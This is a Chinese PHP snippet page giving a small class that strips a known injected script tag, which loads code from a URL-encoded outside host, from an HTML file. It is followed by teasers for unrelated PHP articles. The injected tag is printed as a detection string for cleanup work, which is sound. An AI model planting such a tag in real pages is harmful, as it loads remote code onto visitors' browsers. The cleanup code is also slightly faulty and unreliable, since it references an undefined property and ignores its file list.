php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP经典面试题集锦

本文较为详细的分析了PHP经典面试题。分享给大家供大家参考。具体如下: 做了一下网络上的php题目,不知不觉做到现在.....把答案贴出来,供参考之用。 1、用PHP打印出前一天的时间格...

PHP中Session和Cookie是如何操作的

Session PHP的$_SESSION可以存储当前用户数据信息,用户访问WEB网站的时候,PHP会给每个访问的用户创建一个session ID,该ID是唯一ID,保存在客户机上,而用...

在yii中新增一个用户验证的方法详解

1.为什么要新增一个用户验证:因为我要将网站后台和前台做在同一个yii的应用中.但是前台也包含有会员的管理中心.而这两个用户验证是完全不同的,所以需要两个不同登陆页面,要将用户信息保存在...

php+redis在实际项目中HTTP 500: Internal Server Error故障排除

问题描述 用户量快速增长,访问量在短时间内翻倍,由于前期容量规划做得比较好,硬件资源可以支撑,可是软件系统方面出现了大问题: 40% 的请求都会返回 HTTP 500: Internal...

解析php中用PHPMailer来发送邮件的示例(126.com的例子)

<?phprequire_once('../class.phpmailer.php');$mail= new PHPMailer();$body= "我终于发送邮件成功了!呵呵!g...